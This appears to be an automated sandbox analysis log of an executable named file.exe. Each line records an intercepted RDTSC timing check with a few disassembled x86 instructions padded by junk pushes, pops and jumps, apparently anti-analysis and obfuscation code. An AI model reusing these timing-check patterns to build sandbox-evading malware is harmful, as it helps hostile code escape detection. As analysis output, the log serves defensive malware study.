Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088250 second address: 1088259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088259 second address: 1088280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push edi 0x00000009 pushad 0x0000000a jmp 00007F35A9347BB9h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C275 second address: 108C280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F35A91AEE96h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C39C second address: 108C3C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAFh 0x00000007 jl 00007F35A9347BA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F35A9347BABh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C3C4 second address: 108C3E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA3h 0x00000007 jp 00007F35A91AEE96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C63F second address: 108C64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F35A9347BA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C64B second address: 108C6A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F35A91AEE9Ch 0x0000000d popad 0x0000000e jg 00007F35A91AEEBDh 0x00000014 jns 00007F35A91AEE9Ch 0x0000001a popad 0x0000001b jng 00007F35A91AEEBEh 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007F35A91AEE96h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6A8 second address: 108C6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6AC second address: 108C6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6B8 second address: 108C6BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6BE second address: 108C6C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C9A2 second address: 108C9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F35A9347BB4h 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F35A9347BA6h 0x00000014 jmp 00007F35A9347BAFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8115 second address: FF811B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF811B second address: FF8121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8121 second address: FF812C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F35A91AEE96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF812C second address: FF8132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10927B4 second address: 10927B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109292D second address: 1092931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092EDF second address: 1092EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F35A91AEE96h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10931AF second address: 10931B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109347A second address: 1093494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA0h 0x00000007 jnc 00007F35A91AEE96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093494 second address: 10934AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F35A9347BA6h 0x0000000a jmp 00007F35A9347BACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10939E2 second address: 10939E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CA3 second address: 1093CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CA7 second address: 1093CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CB0 second address: 1093CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F35A9347BA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CBB second address: 1093CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CC1 second address: 1093CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CC5 second address: 1093CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CC9 second address: 1093CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CCF second address: 1093CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F35A91AEE96h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093CDF second address: 1093CE9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F35A9347BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093F96 second address: 1093FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F35A91AEEA2h 0x0000000b jo 00007F35A91AEE96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093FA9 second address: 1093FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099AB2 second address: 1099AC8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F35A91AEE96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F35A91AEE9Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099AC8 second address: 1099B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A9347BB7h 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007F35A9347BB6h 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push ebx 0x00000016 jmp 00007F35A9347BB9h 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099B20 second address: 1099B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099B26 second address: 1099B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C9B1 second address: 109C9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F35A91AEEA1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C9C7 second address: 109C9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C9CD second address: 109C9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F35A91AEEA6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CDDB second address: 109CE03 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F35A9347BA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F35A9347BB8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D288 second address: 109D28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D28E second address: 109D294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A48A1 second address: 10A48BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F35A91AEEA6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A48BD second address: 10A48C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4A53 second address: 10A4A5D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F35A91AEE9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4BD0 second address: 10A4BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4FDE second address: 10A5023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F35A91AEE96h 0x0000000c popad 0x0000000d jmp 00007F35A91AEE9Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007F35A91AEEA6h 0x0000001d jmp 00007F35A91AEE9Ch 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5023 second address: 10A5028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5028 second address: 10A502E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A502E second address: 10A503A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F35A9347BA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF8FD second address: 10AF905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAE2E second address: 10BAE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F35A9347BADh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAE44 second address: 10BAE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFFBD second address: 10BFFC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFFC1 second address: 10BFFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFFC7 second address: 10BFFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F35A9347BB3h 0x00000008 jp 00007F35A9347BA6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4B5A second address: FF4B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D856D second address: 10D85B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F35A9347BAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F35A9347BA8h 0x00000011 jmp 00007F35A9347BB7h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jc 00007F35A9347BA6h 0x00000020 push esi 0x00000021 pop esi 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 popad 0x00000026 jl 00007F35A9347BA6h 0x0000002c pop eax 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7127 second address: 10D712C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D712C second address: 10D7131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D756A second address: 10D7586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F35A91AEEA5h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7586 second address: 10D7597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F35A9347BA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7825 second address: 10D7829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB430 second address: 10DB43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F35A9347BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB43A second address: 10DB44A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F35A91AEE96h 0x00000008 jng 00007F35A91AEE96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAF80 second address: 10DAF94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F35A9347BA6h 0x00000008 jmp 00007F35A9347BAAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAF94 second address: 10DAFB1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F35A91AEE98h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F35A91AEE9Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAFB1 second address: 10DAFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB10F second address: 10DB12D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F35A91AEEA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EBAF6 second address: 10EBAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78C2 second address: 10E78C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78C8 second address: 10E78CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78CC second address: 10E78D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78D9 second address: 10E78FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F35A9347BA6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F35A9347BAAh 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F35A9347BA6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78FC second address: 10E790C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11110E2 second address: 11110EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114A75 second address: 1114AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F35A91AEEA6h 0x0000000e jne 00007F35A91AEEAFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114C68 second address: 1114C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F35A9347BB4h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11150D4 second address: 11150D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11150D8 second address: 11150EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 js 00007F35A9347BA6h 0x0000000d jng 00007F35A9347BA6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11150EC second address: 111512D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F35A91AEEA7h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F35A91AEE9Dh 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 jc 00007F35A91AEE9Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111512D second address: 1115137 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F35A9347BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111564D second address: 1115655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11158FB second address: 1115905 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F35A9347BACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115A61 second address: 1115A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A2E7 second address: 111A32F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f nop 0x00000010 mov dx, cx 0x00000013 push dword ptr [ebp+122D24EDh] 0x00000019 jmp 00007F35A9347BB6h 0x0000001e push 188A07F1h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F35A9347BAAh 0x0000002b jne 00007F35A9347BA6h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A32F second address: 111A339 instructions: 0x00000000 rdtsc 0x00000002 js 00007F35A91AEE9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B7A0 second address: 111B7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B7A6 second address: 111B7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B7B1 second address: 111B7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A9347BB1h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jl 00007F35A9347BA6h 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E2F second address: 5030E42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E42 second address: 5030E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E48 second address: 5030E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030E4C second address: 5030E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov dl, al 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F35A9347BAAh 0x0000001a pop esi 0x0000001b mov edi, 5259A3E6h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508055B second address: 5080595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F35A91AEE9Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F35A91AEEA5h 0x00000017 rdtsc
